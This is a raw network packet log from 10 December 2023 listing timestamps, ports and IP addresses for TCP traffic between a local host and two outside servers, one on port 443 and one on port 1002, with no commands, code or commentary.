Dec 10, 2023 17:48:07.850358963 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850374937 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850380898 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850388050 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850402117 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850408077 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850411892 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850425005 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850438118 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850438118 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850451946 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850457907 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850462914 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850474119 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850486994 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850491047 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850496054 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850507975 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850508928 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850523949 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850531101 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850536108 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850553036 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850557089 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850565910 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850578070 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850589991 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850594997 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850606918 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850620985 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850621939 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850636959 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850642920 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850647926 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850660086 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850670099 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850672960 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850689888 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850703001 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850709915 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850716114 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850728035 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850739002 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850740910 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850754976 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850759029 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850764036 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850778103 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850783110 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850795031 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850800037 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850814104 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850825071 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850826979 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850841045 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850841999 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850850105 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850873947 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850879908 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850888968 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850897074 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850902081 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850914001 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850925922 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850929022 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850944042 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850951910 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850956917 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850971937 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850980043 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850991964 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851008892 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851026058 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851037025 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851042986 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851056099 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851059914 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851073980 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851083994 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851085901 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.851088047 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851099968 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851105928 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851114035 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851123095 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851128101 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851135969 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851152897 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851154089 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851167917 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851181030 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851185083 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851190090 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851202011 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851206064 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851216078 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851227999 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851228952 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851238012 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851248026 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851253986 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851265907 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851274967 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851279974 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851294994 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851298094 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851310015 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851322889 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851335049 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851336956 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851344109 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851361036 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851361990 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851375103 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851382017 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851387024 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851398945 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851408958 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851412058 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851427078 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851430893 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851435900 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851453066 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851460934 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851464987 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851480007 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851496935 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851502895 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851512909 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.851524115 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.851557970 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.904886007 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.904911995 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.904953957 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.904994011 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.904997110 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.905039072 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.905065060 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.905405998 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.905504942 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.916630983 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.916713953 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.916853905 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.917237997 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.917299032 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.041426897 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.041474104 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.041596889 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.041623116 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.041641951 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.041704893 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.041873932 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.041906118 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.043991089 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.044104099 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.060745001 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:08.108629942 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:08.125262022 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.125361919 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.125387907 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.125452042 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.125612974 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.125677109 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.125893116 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.125951052 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.126133919 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.126178026 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.166878939 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.172828913 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.179030895 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.179151058 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.179182053 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.179203987 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.179244995 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.179481030 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.179517031 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.179536104 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.179563046 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.179636002 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.179665089 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.179718018 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.179722071 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.179802895 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.179997921 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.180049896 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.180116892 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.191859961 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.191894054 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.191926956 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.191963911 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.192049980 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.218027115 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.230094910 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.230215073 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.314007998 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.314095020 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.314172983 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.314207077 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.314342022 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.314357996 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.314496040 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.314652920 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.314879894 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.316304922 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.316694975 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.316718102 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.316746950 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:08.316828012 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:08.324871063 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.324929953 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.324995995 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.325067043 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.325139999 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.325206995 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.397788048 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.397895098 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.397902966 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:08.398214102 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.398381948 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.398586988 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.451381922 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.451548100 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.451812029 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.451937914 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.452044010 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.452231884 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.464071035 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.464283943 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.502507925 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.582174063 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.586532116 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.597287893 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.597371101 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.597419977 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.597450972 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.597603083 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.597635984 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.597708941 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.597809076 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.597860098 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.598382950 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.670356035 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:08.760777950 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:08.760942936 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:09.628741980 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:09.628854036 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:09.720115900 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.720210075 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.720287085 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.720355988 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.720439911 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.720503092 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.720577002 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.720654964 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.720741987 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.720946074 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.720946074 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.720984936 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.721065044 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.721137047 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.721215963 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.721287966 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.721424103 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.992644072 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.992706060 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.992733002 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.992782116 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.992805004 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.992852926 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.992943048 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.992978096 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.992994070 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993002892 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993021011 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993021011 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993094921 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993109941 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993119955 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993136883 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993175983 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993191957 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993206024 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993273020 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993274927 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993311882 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993341923 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993362904 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993402004 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993412018 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993437052 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993468046 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993482113 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993503094 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993572950 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993592024 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993623018 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993627071 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993678093 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993700027 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993714094 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993788004 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.993925095 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993957043 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993983030 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.993984938 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.994000912 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.994076014 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.994080067 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.994124889 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.994142056 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.994219065 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.994328976 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.994700909 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.994750977 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.994764090 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.994791985 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.994816065 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:09.994883060 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.994949102 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:09.998866081 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.041146994 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.045687914 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.265547037 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.265605927 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.265640020 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.265677929 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.265683889 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.265729904 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.265805006 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.265906096 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.265985966 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.265985966 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.266060114 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.266062975 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.266109943 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.266170025 CET	49717	443	192.168.2.6	68.180.135.252
